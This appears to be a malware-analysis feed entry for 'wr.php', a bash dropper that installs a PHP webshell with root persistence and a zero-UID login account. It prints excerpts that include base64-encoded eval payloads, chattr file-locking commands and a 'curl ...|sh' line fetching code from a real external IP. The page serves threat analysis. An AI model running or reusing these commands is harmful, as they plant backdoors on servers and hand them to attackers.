Hostile 100% linux Download

wr.php

Multi-stage webshell with root persistence

Creates UID/GID-zero login accountPHP hardcoded request-auth backdoor
SHA-2569e5083a2ff3def9f24aec82abca32d7ad144907fecb8403a174d9329fa767208
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO₇(C₃P₂As₃ErDyLaXe)H₅(Cm₈DbF₉Os₅Po₄)Md

Evidence

Encoded content decoded: base64 lines 1–2
1#!/bin/bash
2echo -n 'PD9waHAgLyoxRjIzYTBkc2tiTlVJM0N0dDNuc01sM21IdFZEdFJHdnhKeklKTWEzWVhZRzFCYXZGeFlyVDFOQXZKKi8gZXZhbCAvKmVZQVV1OEQzUW5RMXJPWnB2MDBGd0ZjdTc2dlVHMERVWmVQdW10eWNScGVqZSovICggLypkSUplSnBLcEJld0lLcm9MNWpMazlnSERPVHVlOCovIGJhc2U2NF9kZWNvZGUgLypPc2x3YnpnQWpHY3hjVmlFajNLRFA0TTVMcVRGVjdOSkE4Zk1JKi8gKCAnYzJWemMybHZibDl6ZEdGeWRDZ3BPd3BwWmlBb2FYTnpaWFFvSkY5U1JWRlZSVk5VV3lkdFpEVW5YU2tnSmlZZ2JXUTFLQ1JmVWtWUlZVVlRWRnNuYldRMUoxMHBJRDA5SUNkbE1qY3dPR1kyTVdKa1pUQTBNV1JtTnpKaVltVmpZbVV6TVdFeU16SmhZU2NwSUhzS0lDQWdJQ1JmVTBWVFUwbFBUbHNuYkc5dmEya25YU0E5SUNkc2IyZG5aV1FuT3dwOUNtbG1JQ2doYVhOelpYUW9K …
chattr command to modify file lines 27–31
27:18… ml/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
28chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null
29chmod +x /var/www/html/admin/views/some.php 2>/dev/null
30chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null
31chattr +i /var/www/html/admin/views/some.php 2>/dev/nul …
Encoded URL pinned to external IPv4 lines 34–36
34:267… Zy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess
35curl http://160.119.69.4/z/post/noroot.php|sh
36echo -n 'ZWNobyAtbiAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd29rWmowaUwzWmhjaTkzZDNjdmFIUnRiQzloWkcxcGJpOXRiMlIxYkdWekwyWnlaV1Z3WW5oZmFHRXZiR2xqWlc1elpTNXdhSEFpT3dwemVYTjBaVzBvSnlWekp5azdDbk41YzNSbGJTZ2lZWGRySUMxR09pQW5LQ1F6SUQwOUlEQWdKaVlnSkRFZ0lUMGdYQ0p5YjI5MFhDSXBJSHR3Y21sdWRDQWtNWDBuSUM5bGRHTXZjR0Z6YzNka0lId2dlR0Z5WjNNZ0xXNHhJQzFKSUh0OUlIVnpaWEprWld3Z0xYSm1JSHQ5SWlrN0NuTjVjM1JsYlNnaVptOXlJSFZ6WlhJZ2FXNGdKQ2hzY3lBdmFHOXRaU2s3SUdSdklIVnpaWEprWld3Z0xYSm1JRndpSkhWelpYSmNJanNnWkc5dVpTSXBPd3B6ZVhOMFpXMG9JbU5rSUM5MGJYQWdNajR2WkdWMkwyNTFiR3c3SUdGM2F5QXRSam9nSnlna015QTlQU0F3SUh4OElDUXpJRDQ5SURFd01EQXBJQ1ltSUNReElDRTlJQ0p5YjI5MElpQjdjM2x6ZEdW …
Curl or wget invocation with argument line 36
36:14882… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvei93ci5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.